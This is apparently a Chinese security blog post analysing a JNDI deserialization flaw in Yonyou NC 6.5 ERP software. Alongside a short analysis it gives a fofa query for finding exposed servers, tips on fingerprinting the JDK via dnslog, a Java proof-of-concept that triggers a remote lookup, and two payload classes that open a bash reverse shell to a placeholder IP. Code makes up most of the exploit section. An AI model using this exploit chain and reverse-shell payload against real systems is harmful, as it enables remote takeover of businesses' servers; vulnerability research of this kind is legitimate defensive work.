用友NC反序列化 简单分析
UClient 提供了 JVM 参数设置,在里面直接添加
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
准备
jwdp
UClient 提供了 JVM 参数设置,在里面直接添加

或者在其目录下的 client.sec 中直接修改

目标
注:本文只测试了6.5版本
fofa:title=”YONYOU NC”
分析
通过已有的资料,在nc.login.ui.LoginAssistant中有以下两点调用lookup

最终由nc.bs.framework.rmi.RmiNCLocator#lookup,注意到是 remoteContext,所以这里是类似 RMI 利用中的 Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击

后面就进入到常规操作了,最后放下调用栈

注意可以先打向 ceye 或 dnslog.cn等,在UA中会显示 JDK 版本,方便确定后续 payload

Poc
import nc.bs.framework.common.NCLocator;
import java.util.Properties;
public class poc {
public static void attack(String url, String jndipath) { Properties env = new Properties(); if (!url.startsWith("http")) { url = "http://" + url; } env.put("SERVICEDISPATCH_URL", url + "/ServiceDispatcherServlet"); NCLocator locator = NCLocator.getInstance(env); locator.lookup(jndipath); }
public static void main(String[] args) { attack("http://target", "ldap://ip:port/classname"); }}远程编译部署
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.Serializable;import java.util.Hashtable;
public class remote implements ObjectFactory, Serializable {
public remote() { try{ java.lang.Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","sh -i >& /dev/tcp/ip/port 0>&1"}); } catch (Exception e) { e.printStackTrace(); } }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; }}当然也可以选择利用 nc 自带的类进行远程部署利用
import nc.bs.framework.common.ComponentMetaVO;import nc.bs.framework.rmi.RemoteAddressSelector;import nc.bs.framework.rmi.RemoteProxy;
public class remote implements RemoteProxy {
public remote() { try{ java.lang.Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","sh -i >& /dev/tcp/ip/port 0>&1"}); } catch (Exception e) { e.printStackTrace(); } }
@Override public Object getAttribute(String s) { return null; }
@Override public void setAttribute(String s, Object o) {
}
@Override public ComponentMetaVO getComponentMetaVO() { return null; }
@Override public int getRetryMax() { return 0; }
@Override public void setRetryMax(int i) {
}
@Override public long getRetryInterval() { return 0; }
@Override public void setRetryInterval(long l) {
}
@Override public void setRemoteAddressSelector(RemoteAddressSelector remoteAddressSelector) {
}
@Override public RemoteAddressSelector getRemoteAddressSelector() { return null; }}效果
